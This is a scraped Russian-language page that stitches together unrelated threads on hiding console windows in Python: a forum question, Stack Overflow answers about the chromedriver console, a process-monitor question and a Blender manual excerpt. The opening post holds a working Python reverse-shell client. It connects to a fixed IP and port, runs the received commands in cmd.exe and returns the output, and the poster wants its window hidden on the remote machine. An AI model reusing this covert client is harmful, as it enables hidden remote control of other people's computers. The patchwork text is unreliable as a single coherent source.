Как скрыть консоль python
Перейти к содержимому

Как скрыть консоль python

  • автор:

Python-сообщество

[RSS Feed]

  • Начало
  • » Python для новичков
  • » Скрыть консоль в python

#1 Июнь 4, 2018 19:12:57

web-bomber Зарегистрирован: 2018-06-04 Сообщения: 3 Репутация: 0 Профиль Отправить e-mail

Скрыть консоль в python

Ребят, помогите пожалуйста, знаю проблема глупая, но уже 3-й день мучаюсь. Есть две программы: Сервер и Клиент. На своей машине запускаю сервер, а на удаленной клиент. Задача была получить удаленно командную строку (cmd). Все работает отлично, но при запуске клиента открывается пустая командная строка, хотелось бы ее скрыть. Вот код клиента

#!/usr/bin/python3.5 from socket import * import subprocess, time while True: sock = socket(AF_INET, SOCK_STREAM) sock.connect(('192.168.0.228', 6996)) try: data = sock.recv(1024) if not data: break result = subprocess.run(['cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.PIPE, input=data) except: break sock.send(result.stdout) sock.send(result.stderr) sock.close() 

Отредактировано web-bomber (Июнь 5, 2018 06:18:02)

attachment

Прикреплённый файлы:
Безымянный.png (65,3 KБ)

скрыть консоль chromeDriver в python;

Я использую драйвер Chrome в Selenium для открытия Chrome, входа в маршрутизатор, нажатия некоторых кнопок, настройки загрузки и т.д. весь код написан на Python.

Вот часть кода для получения драйвера:

chrome_options = webdriver.ChromeOptions() prefs = chrome_options.add_experimental_option("prefs", prefs) chrome_options.experimental_options. driver = webdriver.Chrome("chromedriver.exe", chrome_options=chrome_options) driver.set_window_position(0, 0) driver.set_window_size(0, 0) return driver 

когда я запускаю свое приложение, я получаю консоль chromedriver.exe (черное окно), за которой открывается окно Chrome, и все мои запросы выполняются.

Мой вопрос: есть ли способ скрыть окно консоли в Python?

(как вы можете видеть, я также переразмеряю окно Chrome, мой предпочтительный вариант — делать вещи таким образом, чтобы пользователь не заметил ничего происходящего на экране)

Поделиться Источник 29 ноября 2015 в 14:23

7 ответов

Вам придется отредактировать код Selenium Source, чтобы достичь этого. Я тоже нуб, и я не полностью понимаю общие последствия редактирования исходного кода, но вот что я сделал, чтобы достичь скрытия окна консоли webdriver на Windows 7, Python 2.7.

Найдите и отредактируйте этот файл следующим образом: расположенный в Lib\site-packages\selenium\webdriver\common\service.py в вашей папке Python.

Отредактируйте функцию Start(), добавив флаги создания следующим образом: creationflags=CREATE_NO_WINDOW

Отредактированный метод будет выглядеть следующим образом:

def start(self): """ Starts the Service. :Exceptions: - WebDriverException : Raised either when it can't start the service or when it can't connect to the service """ try: cmd = [self.path] cmd.extend(self.command_line_args()) self.process = subprocess.Popen(cmd, env=self.env, close_fds=platform.system() != 'Windows', stdout=self.log_file, stderr=self.log_file, creationflags=CREATE_NO_WINDOW) except TypeError: raise 

Вам придется добавить соответствующие импорты:

from win32process import CREATE_NO_WINDOW 

Это также должно работать для Chrome webdriver, так как они импортируют тот же файл для запуска процесса webdriver.

Поделиться 08 октября 2016 в 21:15

Новое простое решение! (в selenium4)

Мне тоже это нужно, поэтому я реализовал и зафиксировал эту функцию на GitHub в рамках выпуска selenium4. Нам больше не нужно редактировать библиотеку selenium для этого.

from selenium import webdriver from selenium.webdriver.chrome.service import Service as ChromeService # Similar thing for firefox also! from subprocess import CREATE_NO_WINDOW # This flag will only be available in windows # Define your own service object with the `CREATE_NO_WINDOW ` flag # If chromedriver.exe is not in PATH, then use: # ChromeService('/path/to/chromedriver') chrome_service = ChromeService('chromedriver') # Use `chrome_service.creationflags` for selenium < 4.6 chrome_service.creation_flags = CREATE_NO_WINDOW driver = webdriver.Chrome(service=chrome_service) 

Теперь окно командной строки не открывается. Это особенно полезно, когда у вас есть классическое приложение GUI, которое отвечает за открытие браузера selenium.

Кроме того, обратите внимание, что нам нужно делать это только в Windows.

Поделиться 12 февраля 2022 в 15:10

Существует много вопросов, связанных с этим, и много различных ответов. Проблема заключается в том, что использование Selenium в процессе Python без собственного окна консоли заставит его запустить драйверы (включая chromedriver ) в новом окне.

Вместо того, чтобы изменять код Selenium напрямую (хотя это нужно сделать в конечном итоге), один из вариантов - создать собственные подклассы как для WebDriver Chrome, так и для класса Service , который он использует. Класс Service - это то место, где Selenium фактически вызывает Popen для запуска процесса сервиса, например, chromedriver.exe (как упоминается в принятом ответе):

import errno import os import platform import subprocess import sys import time import warnings from selenium.common.exceptions import WebDriverException from selenium.webdriver.common import utils from selenium.webdriver.remote.webdriver import WebDriver as RemoteWebDriver from selenium.webdriver.chrome import service, webdriver, remote_connection class HiddenChromeService(service.Service): def start(self): try: cmd = [self.path] cmd.extend(self.command_line_args()) if platform.system() == 'Windows': info = subprocess.STARTUPINFO() info.dwFlags = subprocess.STARTF_USESHOWWINDOW info.wShowWindow = 0 # SW_HIDE (6 == SW_MINIMIZE) else: info = None self.process = subprocess.Popen( cmd, env=self.env, close_fds=platform.system() != 'Windows', startupinfo=info, stdout=self.log_file, stderr=self.log_file, stdin=subprocess.PIPE) except TypeError: raise except OSError as err: if err.errno == errno.ENOENT: raise WebDriverException( "'%s' executable needs to be in PATH. %s" % ( os.path.basename(self.path), self.start_error_message) ) elif err.errno == errno.EACCES: raise WebDriverException( "'%s' executable may have wrong permissions. %s" % ( os.path.basename(self.path), self.start_error_message) ) else: raise except Exception as e: raise WebDriverException( "Executable %s must be in path. %s\n%s" % ( os.path.basename(self.path), self.start_error_message, str(e))) count = 0 while True: self.assert_process_still_running() if self.is_connectable(): break count += 1 time.sleep(1) if count == 30: raise WebDriverException("Can't connect to the Service %s" % ( self.path,)) class HiddenChromeWebDriver(webdriver.WebDriver): def __init__(self, executable_path="chromedriver", port=0, options=None, service_args=None, desired_capabilities=None, service_log_path=None, chrome_options=None, keep_alive=True): if chrome_options: warnings.warn('use options instead of chrome_options', DeprecationWarning, stacklevel=2) options = chrome_options if options is None: # desired_capabilities stays as passed in if desired_capabilities is None: desired_capabilities = self.create_options().to_capabilities() else: if desired_capabilities is None: desired_capabilities = options.to_capabilities() else: desired_capabilities.update(options.to_capabilities()) self.service = HiddenChromeService( executable_path, port=port, service_args=service_args, log_path=service_log_path) self.service.start() try: RemoteWebDriver.__init__( self, command_executor=remote_connection.ChromeRemoteConnection( remote_server_addr=self.service.service_url, keep_alive=keep_alive), desired_capabilities=desired_capabilities) except Exception: self.quit() raise self._is_remote = False 

Я удалил некоторые дополнительные комментарии и строку документа для краткости. Затем вы будете использовать этот пользовательский WebDriver так же, как вы будете использовать официальный Chrome в Selenium:

from selenium import webdriver options = webdriver.ChromeOptions() options.add_argument('headless') headless_chrome = HiddenChromeWebDriver(chrome_options=options) headless_chrome.get('http://www.example.com/') headless_chrome.quit() 

Наконец, если создание пользовательского WebDriver не подходит для вас и вы не против мерцания и исчезновения окна, то вы также можете использовать библиотеку win32gui для скрытия окна после запуска:

# hide chromedriver console on Windows def enumWindowFunc(hwnd, windowList): """ win32gui.EnumWindows() callback """ text = win32gui.GetWindowText(hwnd) className = win32gui.GetClassName(hwnd) if 'chromedriver' in text.lower() or 'chromedriver' in className.lower(): win32gui.ShowWindow(hwnd, False) win32gui.EnumWindows(enumWindowFunc, []) 

Поделиться 18 октября 2018 в 21:46

Я нашел решение для скрытия окна консоли при запуске Chromedriver:

Я также получил ошибку при импорте CREATE_NO_WINDOW из win32process . Чтобы импортировать его без ошибки, найдите файл service.py в файлах Selenium (как в ответе Джоша О'Брайана под этой веткой). Затем вместо импорта, как показано ниже:

from win32process import CREATE_NO_WINDOW 

вы должны импортировать его из подпроцесса:

from subprocess import CREATE_NO_WINDOW 

А затем просто добавьте creationflags=CREATE_NO_WINDOW в часть кода файла service.py вот так (также как в ответе Джоша О'Брайана):

 self.process = subprocess.Popen(cmd, env=self.env, close_fds=platform.system() != 'Windows', stdout=self.log_file, stderr=self.log_file, stdin=PIPE, creationflags=CREATE_NO_WINDOW) 

И это хорошо работает для меня, также когда я использовал Pyinstaller для компиляции его в файл EXE.

Поделиться 02 апреля 2021 в 22:02

При запуске браузера Chrome не видно консоли chromedriver с приведенным примером кода.

from selenium import webdriver from selenium.webdriver.chrome.options import Options from time import sleep options = webdriver.ChromeOptions() prefs = options.add_experimental_option("prefs", prefs) print(options.experimental_options) chromeDriverPath = r'C:\drivers\chromedriver.exe' driver = webdriver.Chrome(chromeDriverPath,chrome_options=options) driver.get("http://google.com") driver.set_window_position(0, 0) driver.set_window_size(0, 0) 

Поделиться 04 декабря 2015 в 06:24

SELENIUM >4 Решение для Pyinstaller

Создание на основе ответа @Ali Sajjad

Если вы используете pyinstaller для объединения кода Python с GUI (например, tkinter) и все еще хотите скрыть консоль chromedriver, которая появляется. Обязательно включите соответствующий путь здесь.

 chrome_service = ChromeService('chromedriver') chrome_service.creationflags = CREATE_NO_WINDOW 

Объект Service из selenium берет путь chromedriver и, следовательно, должен быть заменен на следующий..

 chrome_service = ChromeService(get_path('relative/path/to/chromedriver')) 

Где get_path - это соединитель пути, который помогает скриптам находить файлы. Пример функции resource_path, которая работает для меня.

 def get_path(relative_path): """ Get the absolute path to the resource, works for dev and for PyInstaller """ try: # PyInstaller creates a temp folder and stores path in _MEIPASS base_path = sys._MEIPASS except Exception: base_path = os.path.abspath(".") return os.path.join(base_path, relative_path) 

Теперь, создание экземпляра будет:

 browser = webdriver.Chrome(service=chrome_service, options=options, executable_path=get_path('relative/path/to/chromedriver.exe')) 

Это должно работать с pyinstaller.

Поделиться 13 ноября 2022 в 16:47

Для меня следующее решение НЕ сработало.

service = Service(EdgeChromiumDriverManager().install()) service.creationflags = CREATE_NO_WINDOW driver = webdriver.Edge(options=self.options, service=service) 

Однако использование версии selenium 4.5.0 вместо 4.7.0 работает как часы.

Как убрать консоль?

Я написал программу которая каждые 30 секунд смотрит работает ли "такой" процесс.

Но каждые 30 секунд появляеться окно консоли и пропадает, хоть я ставил pyinstaller --noconsole --onefile main.py
Я пробовал переименовать файл в pyw, но не помогло.
Облазил все форумы но ответа для себя так и не нашёл.

Буду очень благодарен за помощь.

import getpass import os.path import time import subprocess process_name = 'КАКОЙ-ТО ПРОЦЕС' while True: processes = subprocess.Popen('tasklist', stdin=subprocess.PIPE, stderr=subprocess.PIPE, stdout=subprocess.PIPE).communicate()[0] if processes.count( bytes(process_name, 'utf-8') ) < 1 == True: print('ЗАПУСК') else: print('такой процес уже есть. ') time.sleep(25)
  • Вопрос задан более трёх лет назад
  • 510 просмотров

6 комментариев

Простой 6 комментариев

Окно консоли¶

Окно консоли это текстовое окно операционной системе, которое отображает сообщения об операциях, статусах, и внутренних ошибках.

  • Если Blender неожиданно завершает работу, сообщения могут указать на причину или ошибку.
  • Чтобы получить результат в консоль есть команда Python print() .
  • Варианты запуска Blender c Command Line Arguments
  • При устранении неполадок, чтобы увидеть результат сообщения об отладке –debug .

Платформо-зависимые инструкции¶

Linux¶

../../_images/Interface-Window-System-console-linux.jpg

Запуск Blender из консольного окна Linux.

Консольное окно Blender в Linux обычно видна только на рабочем столе, если Blender запускается вручную из терминала, то Консольное окно будет то, откуда запускался Blender.

В зависимости от среды рабочего стола настройка, Blender может быть значок на рабочем столе или запись для Blender добавлены в меню после установки Blender. Когда вы запускаете Blender, с помощью ярлыка на рабочем столе или пункта меню, а не в окне терминала, Blender Консольное окно будет скорее всего скрыт на терминале, XWindows откуда он был запущен.

Этот скриншот показывает, как Blender запускается из терминала Linux, и в результате текст консоли печатается в нем.

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *